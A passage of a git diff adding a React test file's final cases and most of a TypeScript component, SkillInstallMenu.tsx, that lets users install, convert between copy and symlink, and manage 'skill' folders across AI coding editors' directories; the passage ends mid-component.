+
+ test('a row whose form matches the skill carries no mode tag to mis-click', () => {
+ renderMenu();
+ // codex is a symlink and so is the rest of the skill: nothing to say.
+ expect(screen.queryByTestId('skill-convert-codex')).toBeNull();
+ // Set-source is still reachable, but as its own labelled control.
+ expect(screen.getByTestId('skill-set-source-codex').textContent).toBe('make source');
+ });
+
+ test('an installed row says clicking it removes the skill, via a tooltip', async () => {
+ renderMenu();
+ const row = screen.getByTestId('skill-install-editor-codex');
+ // A native title would be the regression this replaced.
+ expect(row.getAttribute('title')).toBeNull();
+
+ await userEvent.hover(row);
+ const hint = await screen.findByRole('tooltip');
+ expect(hint.textContent).toContain('.codex/skills/demo');
+ expect(hint.textContent).toContain('click to remove');
+ });
+
+ test('an empty row names the path the install would land at', async () => {
+ renderMenu();
+ const row = screen.getByTestId('skill-install-editor-cursor');
+ expect(row.getAttribute('title')).toBeNull();
+
+ await userEvent.hover(row);
+ const hint = await screen.findByRole('tooltip');
+ // linkMode with no divergent location means the next install symlinks.
+ expect(hint.textContent).toContain('Symlinks the skill to .cursor/skills/demo');
+ });
+});
diff --git a/packages/app/src/components/SkillInstallMenu.tsx b/packages/app/src/components/SkillInstallMenu.tsx
new file mode 100644
index 000000000..5d9cdd5f2
--- /dev/null
+++ b/packages/app/src/components/SkillInstallMenu.tsx
@@ -0,0 +1,947 @@
+import type {
+ SkillInstallTarget,
+ SkillsListEntry,
+ SkillTargetEditor,
+} from '@inkeep/open-knowledge-core';
+import {
+ EDITOR_LABELS,
+ isSkillInstallTarget,
+ SkillTargetEditorSchema,
+} from '@inkeep/open-knowledge-core';
+import { Trans, useLingui } from '@lingui/react/macro';
+import { Folder, Settings as SettingsIcon } from 'lucide-react';
+import { type ReactElement, useEffect, useRef, useState, useSyncExternalStore } from 'react';
+import { toast } from 'sonner';
+import { AgentBrandIcon } from '@/components/AgentIconCluster';
+import { ChangedOutsideBadge } from '@/components/ChangedOutsideBadge';
+import type { SkillActions } from '@/components/skill-actions';
+import { Button } from '@/components/ui/button';
+import {
+ DropdownMenuCheckboxItem,
+ DropdownMenuItem,
+ DropdownMenuLabel,
+ DropdownMenuSeparator,
+} from '@/components/ui/dropdown-menu';
+import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip';
+import { useSkills } from '@/hooks/use-skills';
+import { emitSkillsChanged } from '@/lib/documents-events';
+import {
+ getSkillOverlay,
+ setSkillOverlay,
+ skillOverlayKey,
+ subscribeToSkillOverlay,
+} from '@/lib/skill-install-overlay-store';
+import { aliasSubscribersOf, customPlacementRoot, skillHostRootDir } from '@/lib/skill-scope';
+import { placeSkill, putSkillFolderAction, setSkillSource, unplaceSkill } from '@/lib/skills-api';
+
+// The editors a project skill can install into — the narrowed `.options` of the
+// canonical schema, so this can never drift from the install verb + picker. The
+// editor toolbar badge reuses this for its installed-agent icon cluster (stable
+// order + `SkillTargetEditor` typing for `TargetIcon`).
+export const INSTALL_EDITORS: readonly SkillTargetEditor[] = SkillTargetEditorSchema.options;
+
+/**
+ * Width floor for any container holding {@link SkillInstallMenuItems}.
+ *
+ * The rows ARE paths (`~/.opencode/skills/<name>`), and a truncated path is the
+ * one thing this menu cannot afford to hide — it is the whole disclosure. Each
+ * surface used to pick its own width, so the same menu clipped in the toolbar
+ * and fit in the sidebar. One constant, applied at every call site.
+ */
+export const SKILL_INSTALL_MENU_WIDTH = 'min-w-[24rem]';
+
+export interface SkillHostToggles {
+ hostSet: ReadonlySet<string>;
+ installed: boolean;
+ installing: boolean;
+ toggleEditor: (editor: SkillInstallTarget, on: boolean) => void;
+ installAll: () => void;
+ /** The skill's effective fan-out mode as the server reports it — new
+ * locations land this way. Read-only: mode is chosen per LOCATION now
+ * (`convertLocation`), never flipped skill-wide from the menu. */
+ linkMode: boolean;
+ /** Make ONE host's location the source (pure move; sticky).
+ * OPTIONAL: a surface with no installed locations (the un-imported preview)
+ * omits the location verbs, and the controls for them are gated on presence —
+ * a no-op stub renders a button whose only failure mode is silence. */
+ setSource?: (host: string) => void;
+ /** Place a copy/link of the skill under a known custom root. */
+ placeAt: (root: string, mode: 'copy' | 'link') => void;
+ /** Remove a recorded custom placement (the inverse of `placeAt`). */
+ unplaceAt?: (path: string) => void;
+ /** Convert ONE installed location between copy and symlink. Siblings are
+ * untouched. */
+ convertLocation?: (target: string, mode: 'copy' | 'link') => void;
+ /** Convert SEVERAL locations in one sequential run (the menu's convert-all). */
+ convertLocations?: (targets: readonly { target: string; mode: 'copy' | 'link' }[]) => void;
+ /** Source host with the optimistic overlay applied (instant tag flip). */
+ sourceHost?: string;
+}
+
+/**
+ * The per-editor install-state machine, shared by the editor toolbar's install
+ * pill (`SkillEditorActions`) AND the sidebar three-dot menu (`SkillContextMenuItems`,
+ * §9.3) so the two surfaces offer the SAME control instead of the toolbar's full
+ * per-editor dropdown vs. the menu's single "Install".
+ *
+ * Optimistic host overlay so RAPID per-editor toggles compose correctly: each click
+ * builds on the LATEST intended set (via `liveHostsRef`, updated synchronously), not
+ * the last server refetch (which lags a click or two). The actual install is DEBOUNCED
+ * so N quick clicks become ONE set-exact write, avoiding concurrent installs racing on
+ * the marker file. `actions` is passed in so both surfaces share one install-in-flight.
+ *
+ * The overlay itself lives in a module store keyed `scope:name`, NOT in component
+ * state: all three surfaces can be on screen together, and a per-component overlay
+ * meant the clicked one read "Installed" while its neighbour still read "Install".
+ */
+export function useSkillHostToggles(
+ skill: SkillsListEntry,
+ actions: SkillActions,
+): SkillHostToggles {
+ const inFlight = actions.installingName === skill.name;
+ // A write is not "done" when its request returns — it is done when the list
+ // reflects it. The write triggers a watcher refetch, so between the request
+ // returning and that refetch landing the menu is still rendering the state
+ // from BEFORE (or mid-way through) the write. Treating that window as settled
+ // is what let a location flash a form tag it never earned. Stay busy until
+ // the entry actually changes.
+ const settledEntryRef = useRef(skill);
+ const [awaitingRefetch, setAwaitingRefetch] = useState(false);
+ const wasInFlight = useRef(false);
+ useEffect(() => {
+ if (wasInFlight.current && !inFlight) setAwaitingRefetch(true);
+ wasInFlight.current = inFlight;
+ }, [inFlight]);
+ useEffect(() => {
+ if (skill !== settledEntryRef.current) {
+ settledEntryRef.current = skill;
+ setAwaitingRefetch(false);
+ }
+ }, [skill]);
+ const installing = inFlight || awaitingRefetch;
+ const overlayKey = skillOverlayKey(skill.scope, skill.name);
+ const overlay = useSyncExternalStore(
+ (onChange) => subscribeToSkillOverlay(overlayKey, onChange),
+ () => getSkillOverlay(overlayKey),
+ );
+ const optimisticHosts = overlay.hosts;
+ // Instant-feedback overlay for the slower source move: applied on click,
+ // cleared when the refetched entry catches up (or rolled back on failure).
+ // The disk work can take a moment; the menu can't.
+ const optimisticSource = overlay.source;
+ useEffect(() => {
+ if (optimisticSource !== null && skill.hosts[0] === optimisticSource)
+ setSkillOverlay(overlayKey, { source: null });
+ }, [skill.hosts, optimisticSource, overlayKey]);
+ const serverLink = skill.linkMode === true;
+ const effectiveHosts = optimisticHosts ?? skill.hosts;
+ const hostSet = new Set(effectiveHosts);
+ const installed = optimisticHosts ? optimisticHosts.length > 0 : skill.installed;
+
+ const liveHostsRef = useRef<string[]>(skill.hosts);
+ // Re-sync the ref to server truth whenever the overlay is cleared.
+ useEffect(() => {
+ if (optimisticHosts === null) liveHostsRef.current = skill.hosts;
+ }, [optimisticHosts, skill.hosts]);
+
+ // Drop the overlay once the server's fetched hosts catch up to it.
+ const serverHostsKey = [...skill.hosts].sort().join(',');
+ useEffect(() => {
+ const pending = getSkillOverlay(overlayKey).hosts;
+ if (pending && [...pending].sort().join(',') === serverHostsKey)
+ setSkillOverlay(overlayKey, { hosts: null });
+ }, [serverHostsKey, overlayKey]);
+
+ const installTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
+ const pendingInstallRef = useRef<(() => void) | null>(null);
+ useEffect(
+ () => () => {
+ if (installTimer.current) clearTimeout(installTimer.current);
+ pendingInstallRef.current?.();
+ pendingInstallRef.current = null;
+ },
+ [],
+ );
+ function commitHosts(nextHosts: string[], debounce: boolean) {
+ liveHostsRef.current = nextHosts;
+ setSkillOverlay(overlayKey, { hosts: nextHosts });
+ if (installTimer.current) clearTimeout(installTimer.current);
+ // On failure the server state is unchanged; roll back the overlay so the pill
+ // doesn't stick on the attempted set (the refetch returns the OLD hosts, which
+ // never match the overlay, so the convergence effect never clears it).
+ //
+ // The REQUEST carries only install-target editor ids: an in-place skill's
+ // hosts include non-editor members (the `.agents` hub), which the server's
+ // targets schema rejects — but they stay in the OVERLAY so it converges with
+ // the refetched host set.
+ const run = async () => {
+ pendingInstallRef.current = null;
+ installTimer.current = null;
+ const result = await actions.install(skill, nextHosts.filter(isSkillInstallTarget));
+ if (!result.ok) {
+ setSkillOverlay(overlayKey, { hosts: null });
+ return;
+ }
+ // Snap the overlay to the SERVER's post-op host set — the response can
+ // legitimately differ from the click-set (hub/alias-covered hosts,
+ // conflict skips), and an overlay that never matches the refetched list
+ // would otherwise stick forever, hiding real state.
+ liveHostsRef.current = [...result.hosts];
+ setSkillOverlay(overlayKey, { hosts: [...result.hosts] });
+ };
+ if (debounce) {
+ pendingInstallRef.current = () => void run();
+ installTimer.current = setTimeout(() => void run(), 350);
+ } else {
+ pendingInstallRef.current = null;
+ void run();
+ }
+ }
+
+ return {
+ hostSet,
+ installed,
+ installing,
+ toggleEditor(editor, on) {
+ const next = new Set<string>(liveHostsRef.current);
+ if (on) next.add(editor);
+ else next.delete(editor);
+ commitHosts([...next], true);
+ },
+ installAll() {
+ // Preserve non-editor hosts (the `.agents` hub) in the overlay set.
+ const nonEditor = liveHostsRef.current.filter(
+ (h) => !(INSTALL_EDITORS as readonly string[]).includes(h),
+ );
+ // "All" targets only editors installable on THIS machine for the
+ // scope (plus any the skill is already in) — installing into an undetected
+ // editor just no-ops and reverts.
+ const installable = skill.installableEditors ?? INSTALL_EDITORS;
+ const editors = INSTALL_EDITORS.filter(
+ (e) => installable.includes(e) || liveHostsRef.current.includes(e),
+ );
+ commitHosts([...nonEditor, ...editors], false);
+ },
+ linkMode: serverLink,
+ sourceHost: optimisticSource ?? skill.hosts[0],
+ placeAt(root, mode) {
+ // Report failures. The same control on an un-imported preview toasts, so
+ // silence here meant a permission error or a refused hand-edited copy
+ // just left the checkbox un-flipped with no explanation.
+ void actions
+ .runLocationWrite(skill, () =>
+ placeSkill({ scope: skill.scope, name: skill.name, dir: root, mode }),
+ )
+ .then((r) => {
+ if (!r.ok) toast.error(r.error);
+ });
+ },
+ unplaceAt(path) {
+ void actions
+ .runLocationWrite(skill, () => unplaceSkill({ scope: skill.scope, name: skill.name, path }))
+ .then((r) => {
+ if (!r.ok) toast.error(r.error);
+ });
+ },
+ setSource(host) {
+ setSkillOverlay(overlayKey, { source: host });
+ void actions
+ .runLocationWrite(skill, () =>
+ setSkillSource({ scope: skill.scope, name: skill.name, target: host }),
+ )
+ .then((r) => {
+ if (!r.ok) {
+ setSkillOverlay(overlayKey, { source: null });
+ toast.error(r.error);
+ }
+ });
+ },
+ convertLocation(target, mode) {
+ // No optimistic overlay: the row's form is read from the disk scan
+ // (`symlinkedHosts` / placement modes), which the `skills-changed` refetch
+ // refreshes. Guessing here would fight that read on failure. Routed
+ // through the shared action so the surfaces showing this skill report
+ // "Working" while folders are being rewritten.
+ void actions.convertLocations(skill, [{ target, mode }]);
+ },
+ convertLocations(targets) {
+ void actions.convertLocations(skill, targets);
+ },
+ };
+}
+
+/**
+ * A menu hint, rendered through Radix instead of the native `title` attribute.
+ *
+ * Native tooltips do not appear at all while the window is unfocused, and they
+ * arrive on the OS's own delay — so the hints here, which are the ONLY place
+ * several of these controls explain themselves (a checked row's hint is where
+ * "click to remove" is written, and the brand marks are unreadable without one),
+ * were invisible exactly when someone was reading the menu with their attention
+ * elsewhere. `side="right"` keeps the hint clear of the row beneath it.
+ */
+function Hint({ hint, children }: { hint: string; children: ReactElement }) {
+ return (
+ <Tooltip>
+ <TooltipTrigger asChild>{children}</TooltipTrigger>
+ <TooltipContent side="right" className="max-w-xs">
+ {hint}
+ </TooltipContent>
+ </Tooltip>
+ );
+}
+
+/**
+ * The install control's menu body — per-editor checkboxes + Install-on-all +
+ * Uninstall. Renders inside a `DropdownMenuContent` (toolbar pill) OR a
+ * `DropdownMenuSubContent` (sidebar three-dot submenu), so both surfaces are
+ * behaviorally identical. Checkbox rows keep the menu OPEN on toggle so several
+ * editors can be flipped in a row (§9.1); the title hint makes uninstall
+ * discoverable (§9.2).
+ */
+export function SkillInstallMenuItems({
+ toggles,
+ skill,
+ onResolveFork,
+ onRunStart,
+}: {
+ toggles: SkillHostToggles;
+ /** Each row shows the REAL target path (`.codex/skills/<name>`) — path-first
+ * disclosure of what installing actually copies where. `hosts` /
+ * `symlinkedHosts` (when present) mark THE source row and link rows. Always
+ * passed (every install surface has a skill); the detail fields stay Partial
+ * because an un-imported preview carries only `{scope, name}`. */
+ skill: Pick<SkillsListEntry, 'scope' | 'name'> &
+ Partial<
+ Pick<
+ SkillsListEntry,
+ | 'hosts'
+ | 'symlinkedHosts'
+ | 'path'
+ | 'customPlacements'
+ | 'hostAliases'
+ | 'conflictHosts'
+ | 'driftPaths'
+ | 'installableEditors'
+ >
+ >;
+ /** Opens the fork-resolution dialog for a conflicted editor's copy. */
+ onResolveFork?: (editor: string) => void;
+ /**
+ * Fired when a click kicks off a run that rewrites folders. The surface that
+ * owns this popover closes it: the rows are read from a disk scan that
+ * refetches mid-run, so leaving it open shows form and drift marks for a
+ * half-converted state — they flip and then settle, which reads as breakage.
+ */
+ onRunStart?: () => void;
+}) {
+ const { t } = useLingui();
+ const { hostSet, toggleEditor, installAll } = toggles;
+ const pathFor = (host: string): string | null =>
+ skill ? `${skillHostRootDir(host, skill.scope)}/${skill.name}` : null;
+ const allSkills = useSkills();
+ // The `.agents` hub is EXISTENCE-ACTIVATED: offered only when this project
+ // already adopted it (any skill lives there or lists it as a host). OK never
+ // pushes the hub on a repo — adopting it is one Custom path away, and the
+ // first placement there lights this row up for every skill.
+ const hubActive =
+ skill !== undefined &&
+ ((skill.hosts ?? []).includes('agents') ||
+ (allSkills.status === 'ready' &&
+ allSkills.data.some((s) => s.hosts.includes('agents') || s.path.startsWith('.agents/'))));
+ // Folder-level aliases (host id → base-relative target root). An aliased
+ // folder is a derived view of its target: NO row of its own (checking it
+ // could only write through the alias), its agent icon rides the target
+ // root's row instead. Observable disk facts only — a row's audience is the
+ // set of folders that resolve into it, never a vendor-capability claim.
+ // Folder-level links are a property of the SCOPE's dirs, not of one skill —
+ // a not-yet-installed skill (explore preview) has no entry to carry them, so
+ // fall back to the union across installed same-scope skills; otherwise the
+ // preview menu shows aliased folders as plain rows (inconsistent menus).
+ const aliases: Record<string, string> =
+ skill?.hostAliases ??
+ (skill && allSkills.status === 'ready'
+ ? Object.assign(
+ {},
+ ...allSkills.data.filter((s) => s.scope === skill.scope).map((s) => s.hostAliases ?? {}),
+ )
+ : {});
+ // only OFFER editors installable on THIS machine for the skill's
+ // scope — for global skills that is the set whose user-home dir exists, so we
+ // don't show an editor (e.g. Copilot with no `~/.copilot`) whose install
+ // silently no-ops and flashes a checkmark that reverts. Same same-scope
+ // fallback as `aliases` for a preview skill that carries no entry of its own;
+ // null = no data → offer everything (never over-hide). The `.agents` hub and
+ // any editor the skill is ALREADY in are always kept (uninstall stays reachable).
+ const installableList: readonly string[] | undefined =
+ skill?.installableEditors ??
+ (skill && allSkills.status === 'ready'
+ ? allSkills.data.find((s) => s.scope === skill.scope)?.installableEditors
+ : undefined);
+ const installable = installableList ? new Set<string>(installableList) : null;
+ const rows: Array<SkillInstallTarget> = (
+ hubActive ? (['agents', ...INSTALL_EDITORS] as const) : INSTALL_EDITORS
+ )
+ .filter((e) => !(e in aliases))
+ .filter((e) => e === 'agents' || installable === null || installable.has(e) || hostSet.has(e));
+ const stdPaths = new Set(rows.map((e) => pathFor(e)));
+ const homePrefix = skill?.scope === 'global' ? '~/' : '';
+ // `path` is `<dir>/SKILL.md`; the guard on '/' skips placeholder entries.
+ const entryDir = skill?.path?.includes('/')
+ ? `${homePrefix}${skill.path.replace(/\/SKILL\.mdx?$/i, '')}`
+ : null;
+ const sourceRow = entryDir !== null && !stdPaths.has(entryDir) ? entryDir : null;
+ // A host row carries the SOURCE badge ONLY when the skill's real dir IS that
+ // host's dir (in-place skills). A store-backed skill's source is its own
+ // row (`sourceRow`) — badging hosts[0] there showed TWO sources.
+ const sourceHost = sourceRow === null ? (toggles.sourceHost ?? skill?.hosts?.[0]) : undefined;
+ const subscribersOf = (rootRel: string): string[] => aliasSubscribersOf(aliases, rootRel);
+ const hostLabel = (h: string): string =>
+ h === 'agents' ? '.agents' : ((EDITOR_LABELS as Record<string, string>)[h] ?? h);
+ // Friction dialog 2 (locked design): checking a row read by MORE than its
+ // own agent states the actual reach before writing.
+ // ponytail: native confirm(); swap for AlertDialog if the menu grows one.
+ const confirmReach = (rootRel: string): boolean => {
+ const subs = subscribersOf(rootRel);
+ if (subs.length === 0) return true;
+ return window.confirm(
+ t`Adds the skill to ${rootRel} — also read by ${subs.map(hostLabel).join(', ')}`,
+ );
+ };
+ // Audience icons are the A3 trigger (user-locked): clicking the codex mark
+ // on a pool row means "codex shouldn't get this skill". The remedy is
+ // remedy 2 of the locked design — the subscriber's folder stops FOLLOWING
+ // the pool and keeps every other skill it sees (per-skill links), minus
+ // this one. Remedy 1 (move the source out) stays available via the
+ // source/remove controls. Plain confirm, then the folder verb.
+ const audienceIcon = (h: string, poolRootRel: string) => {
+ const subRoot = h.includes('/') ? h : skillHostRootDir(h, skill?.scope ?? 'project');
+ return (
+ <Hint
+ key={h}
+ hint={t`${hostLabel(h)} reads this skill via ${poolRootRel}. Click to stop ${hostLabel(h)} getting "${skill?.name ?? ''}" — ${subRoot} keeps its other skills but stops following ${poolRootRel}.`}
+ >
+ <Button
+ variant="ghost"
+ size="sm"
+ className="h-4 shrink-0 px-0"
+ // The icon is the only child and is aria-hidden, so without this the
+ // control announces as an unlabeled button — and it rewrites folders.
+ // A tooltip is not an accessible name.
+ aria-label={t`Stop ${hostLabel(h)} reading this skill`}
+ onClick={(e) => {
+ e.preventDefault();
+ e.stopPropagation();
+ if (
+ !window.confirm(
+ t`Stop ${hostLabel(h)} reading "${skill.name}"? ${subRoot} will keep its other skills (as symlinks) but stop following ${poolRootRel} — new skills added there won't reach ${hostLabel(h)} automatically.`,
+ )
+ )
+ return;
+ void putSkillFolderAction({
+ scope: skill.scope,
+ root: subRoot,
+ action: 'unlink',
+ exclude: [skill.name],
+ }).then((r) => {
+ if (!r.ok) toast.error(t`Couldn't update ${subRoot}: ${r.error}`);
+ // Refresh locally like the Settings folders surface does. Relying
+ // on the cross-client signal alone left the chip looking unclicked
+ // for a beat — the same verb, two latencies.
+ else emitSkillsChanged();
+ });
+ }}
+ data-testid={`skill-audience-unfollow-${h}`}
+ >
+ <AgentBrandIcon host={h} aria-hidden className="size-3.5" />
+ </Button>
+ </Hint>
+ );
+ };
+ const conflicted = new Set(skill?.conflictHosts ?? []);
+ // Drift = OK's record of what it wrote disagrees with disk (another tool
+ // rewrote the path). PASSIVE disclosure only — OK only writes on explicit
+ // clicks, so there is no war to referee and no hands-off state to manage.
+ // Ledger paths are base-relative; display paths may carry `~/` — strip.
+ const drifted = new Set(skill?.driftPaths ?? []);
+ // While a run is in flight the folders are mid-rewrite and the list refetches
+ // underneath us, so per-row form and drift are snapshots of a half-converted
+ // state — they flip to "symlink"/"changed outside" and then settle, which
+ // reads as breakage rather than progress. Freeze the menu for the run: no
+ // second click can land on state that is about to change, and the transient
+ // per-row marks stay hidden until it settles.
+ const busy = toggles.installing;
+ const relOf = (display: string | null): string => (display ?? '').replace(/^~\//, '');
+ const linked = new Set(skill?.symlinkedHosts ?? []);
+ // The mode a location is EXPECTED to have: what the skill's other locations
+ // are, falling back to the server's effective preference when there are none
+ // to compare against. A row matching this says nothing (a menu of identical
+ // COPY tags was pure noise); a row that DIVERGES gets a tag that converts it.
+ const otherStates: Array<'copy' | 'link'> = [
+ ...[...hostSet]
+ .filter((h) => h !== sourceHost && !(h in aliases) && !conflicted.has(h) && !h.includes('/'))
+ .map((h) => (linked.has(h) ? ('link' as const) : ('copy' as const))),
+ ...(skill?.customPlacements ?? []).map((cp) => cp.mode),
+ ];
+ const linkCount = otherStates.filter((st) => st === 'link').length;
+ const expectedMode: 'copy' | 'link' =
+ otherStates.length === 0
+ ? toggles.linkMode
+ ? 'link'
+ : 'copy'
+ : linkCount * 2 >= otherStates.length
+ ? 'link'
+ : 'copy';
+ // Every location this skill has BESIDES its source, with the form each one is
+ // in — the same membership `otherStates` measures, kept addressable so the
+ // skill-wide convert below can write each one. The source is never included:
+ // it is the real folder the others copy or point at.
+ const convertible: Array<{ target: string; display: string; mode: 'copy' | 'link' }> = [
+ ...[...hostSet]
+ .filter((h) => h !== sourceHost && !(h in aliases) && !conflicted.has(h) && !h.includes('/'))
+ .map((h) => ({
+ target: h,
+ display: pathFor(h) ?? hostLabel(h),
+ mode: linked.has(h) ? ('link' as const) : ('copy' as const),
+ })),
+ ...(skill?.customPlacements ?? []).map((cp) => ({
+ target: customPlacementRoot(cp),
+ display: `${homePrefix}${cp.path}`,
+ mode: cp.mode,
+ })),
+ ];
+ // Row-level convert (never skill-wide): state the whole effect, then write
+ // exactly one path. The old skill-wide Copies/Symlinks tabs silently
+ // reconverted every existing location on click, which is what this replaces.
+ // ponytail: native confirm(), like the two friction dialogs above.
+ const convertRow = (target: string, display: string, from: 'copy' | 'link') => {
+ const to: 'copy' | 'link' = from === 'link' ? 'copy' : 'link';
+ return (
+ <Hint
+ hint={
+ from === 'link'
+ ? t`${display} is a symlink to the source while the skill's other locations are copies. Click to make it an independent copy.`
+ : t`${display} is an independent copy while the skill's other locations are symlinks. Click to make it a symlink to the source.`
+ }
+ >
+ <Button
+ variant="ghost"
+ size="sm"
+ className="h-5 shrink-0 rounded border border-yellow-500/40 bg-yellow-500/10 px-1 font-normal text-[10px] text-yellow-600 uppercase tracking-wide hover:bg-yellow-500/20"
+ onClick={(e) => {
+ e.preventDefault();
+ e.stopPropagation();
+ if (
+ !window.confirm(
+ to === 'link'
+ ? t`Replace the copy at ${display} with a symlink to the skill's source folder? Nothing else moves.`
+ : t`Replace the symlink at ${display} with an independent copy of the skill? Nothing else moves.`,
+ )
+ )
+ return;
+ onRunStart?.();
+ toggles.convertLocation?.(target, to);
+ }}
+ data-testid={`skill-convert-${target}`}
+ >
+ {from === 'link' ? <Trans>symlink</Trans> : <Trans>copy</Trans>}
+ </Button>
+ </Hint>
+ );
+ };
+ // Non-standard locations that actually hold this skill get their own rows:
+ // the skill's OWN folder when it isn't an editor dir (e.g. a `.ok/skills`
+ // store bundle — the true SOURCE), and every recorded custom placement.
+ // KNOWN custom roots travel between SKILLS (per-machine): every distinct
+ // parent dir any skill at this scope has a recorded placement under becomes
+ // an offerable row on EVERY skill's menu — use a custom path once and it's a
+ // first-class choice from then on. Checked when THIS skill is placed there.
+ const myPlacements = new Map(
+ (skill?.customPlacements ?? []).map((cp) => [customPlacementRoot(cp), cp]),
+ );
+ const knownRoots = new Set<string>(myPlacements.keys());
+ if (allSkills.status === 'ready' && skill) {
+ for (const s of allSkills.data) {
+ if (s.scope !== skill.scope) continue;
+ for (const cp of s.customPlacements ?? []) {
+ const root = customPlacementRoot(cp);
+ // `.ok/skills` is the retired store, offered like any other custom root
+ // so projects that still keep skills there can manage them; the rest of
+ // `.ok/` is OK's own state and the server refuses it.
+ if (root !== '') knownRoots.add(root);
+ }
+ }
+ }
+ const customRootRows =
+ skill !== undefined
+ ? [...knownRoots]
+ .sort()
+ .map((root) => ({
+ root,
+ display: `${homePrefix}${root}/${skill.name}`,
+ placed: myPlacements.get(root) ?? null,
+ }))
+ // Alias-covered custom roots (a folder-symlink into another root)
+ // get NO row — same rule as editor folders: their icon rides the
+ // target root's audience instead.
+ .filter((r) => !stdPaths.has(r.display) && r.display !== entryDir && !(r.root in aliases))
+ : [];
+ return (
+ <>
+ {/* NO skill-wide Copies/Symlinks tabs: they applied the chosen mode to
+ EVERY existing location on click, so opening the menu and tapping the
+ mode you thought you were already in silently rewrote every install.
+ A new location follows the skill's existing ones (symlinks for a
+ skill that has none yet — one real folder, no duplicated bytes in
+ git); a location that diverges carries its own convert control. */}
+ {/* "All" rides the section label instead of being its own bottom row —
+ the old footer (Install-on-all + Settings, each fenced by separators)
+ read as three stacked strips. */}
+ <DropdownMenuLabel className="flex items-center justify-between gap-2">
+ <Trans>Install on</Trans>
+ <Hint hint={t`Install on all agents`}>
+ <Button
+ variant="ghost"
+ size="sm"
+ className="h-5 px-1.5 font-normal text-[11px] text-muted-foreground hover:text-foreground"
+ disabled={busy}
+ onClick={() => installAll()}
+ data-testid="skill-install-all"
+ >
+ <Trans>All</Trans>
+ </Button>
+ </Hint>
+ </DropdownMenuLabel>
+ {/* The skill's OWN folder when it isn't a standard editor dir (a store
+ bundle / unusual location) — the true SOURCE, shown so no occupied
+ location is ever invisible here. Static: the source can't be
+ unchecked (that would be deletion). */}
+ {sourceRow !== null ? (
+ <Hint hint={t`The skill's own folder — the source other locations copy or link from`}>
+ <DropdownMenuCheckboxItem
+ disabled={busy}
+ checked
+ onSelect={(e) => e.preventDefault()}
+ data-testid="skill-source-row"
+ >
+ {/* Every custom root gets the same mark. `.ok/skills` is an
+ ordinary one — branding it read as "OK's official home for
+ skills", which is exactly the standing the store no longer has. */}
+ <Folder aria-hidden className="size-4 text-muted-foreground" />
+ <span className="flex min-w-0 flex-1 items-baseline gap-1.5">
+ <span className="min-w-0 truncate font-mono text-xs">{sourceRow}</span>
+ {(() => {
+ const rootRel = relOf(sourceRow).split('/').slice(0, -1).join('/');
+ const subs = subscribersOf(rootRel);
+ return subs.length > 0 ? (
+ <span
+ className="flex shrink-0 items-center gap-0.5"
+ data-testid="skill-row-audience-source"
+ >
+ {subs.map((h) => audienceIcon(h, rootRel))}
+ </span>
+ ) : null;
+ })()}
+ <span className="inline-flex h-5 shrink-0 items-center rounded border border-border/60 px-1 text-[10px] uppercase tracking-wide text-muted-foreground">
+ <Trans>source</Trans>
+ </span>
+ </span>
+ </DropdownMenuCheckboxItem>
+ </Hint>
+ ) : null}
+ {rows.map((editor) => {
+ const path = pathFor(editor);
+ const label = editor === 'agents' ? '.agents' : EDITOR_LABELS[editor];
+ const rootRel = relOf(path).split('/').slice(0, -1).join('/');
+ const audience = subscribersOf(rootRel);
+ return (
+ <Hint
+ key={editor}
+ hint={
+ conflicted.has(editor)
+ ? t`A DIFFERENT skill named like this one lives at ${path ?? label} — that folder is not this skill. Rename or delete one of the two to resolve.`
+ : editor === sourceHost
+ ? path
+ ? t`The skill's own folder (${path}) — the source other locations copy or link from`
+ : label
+ : hostSet.has(editor)
+ ? path
+ ? t`Installed at ${path} — click to remove`
+ : t`Installed in ${label} — click to remove`
+ : path
+ ? expectedMode === 'link'
+ ? t`Symlinks the skill to ${path}`
+ : t`Copies the skill to ${path}`
+ : t`Click to install in ${label}`
+ }
+ >
+ <DropdownMenuCheckboxItem
+ disabled={busy}
+ checked={hostSet.has(editor)}
+ onCheckedChange={(on) => {
+ // Conflicted slot: occupied by a DIFFERENT skill — nothing to
+ // install or remove here (the hint explains).
+ if (conflicted.has(editor)) return;
+ if (on === true && !confirmReach(rootRel)) return;
+ toggleEditor(editor, on === true);
+ }}
+ onSelect={(e) => e.preventDefault()}
+ className="group"
+ data-testid={`skill-install-editor-${editor}`}
+ >
+ <AgentBrandIcon host={editor} aria-hidden className="size-4" />
+ {/* Path-first: the row IS the destination path (the brand icon
+ carries the editor identity); no brand words to decode. */}
+ <span className="flex min-w-0 flex-1 items-baseline gap-1.5">
+ <span className="min-w-0 truncate font-mono text-xs">{path ?? label}</span>
+ {/* Audience: folders that resolve INTO this row's root (their
+ own rows are omitted) — who else reads what lands here. */}
+ {audience.length > 0 ? (
+ <span
+ className="flex shrink-0 items-center gap-0.5"
+ data-testid={`skill-row-audience-${editor}`}
+ >
+ {audience.map((h) => audienceIcon(h, rootRel))}
+ </span>
+ ) : null}
+ {conflicted.has(editor) ? (
+ <Hint hint={t`Different version here — click to compare and resolve`}>
+ <Button
+ variant="ghost"
+ size="sm"
+ className="h-5 shrink-0 rounded border border-yellow-500/40 bg-yellow-500/10 px-1 text-[10px] text-yellow-600 uppercase tracking-wide hover:bg-yellow-500/20"
+ onClick={(e) => {
+ e.preventDefault();
+ onResolveFork?.(editor);
+ }}
+ data-testid={`skill-fork-chip-${editor}`}
+ >
+ <Trans>conflict</Trans>
+ </Button>
+ </Hint>
+ ) : editor === sourceHost ? (
+ <span className="inline-flex h-5 shrink-0 items-center rounded border border-border/60 px-1 text-[10px] uppercase tracking-wide text-muted-foreground">
+ <Trans>source</Trans>
+ </span>
+ ) : hostSet.has(editor) && skill?.hosts ? (
+ <>
+ {/* Only a DIVERGENT location shows its form — and the tag is
+ the fix for the divergence, converting this one path.
+ Hidden mid-run for the same reason as the drift mark: the
+ watcher refetches the list while folders are still being
+ written, so a location that is about to become a symlink
+ reads as a copy for a beat and flashes a tag it never
+ earned. */}
+ {!busy && (linked.has(editor) ? 'link' : 'copy') !== expectedMode
+ ? convertRow(editor, path ?? label, linked.has(editor) ? 'link' : 'copy')
+ : null}
+ {/* Set-source rides the row on hover: promoting a location to
+ "the real folder" is deliberate, not something to bump
+ into while scanning the list. */}
+ <Hint hint={t`Make this the source — the skill's real folder moves here`}>
+ <Button
+ variant="ghost"
+ size="sm"
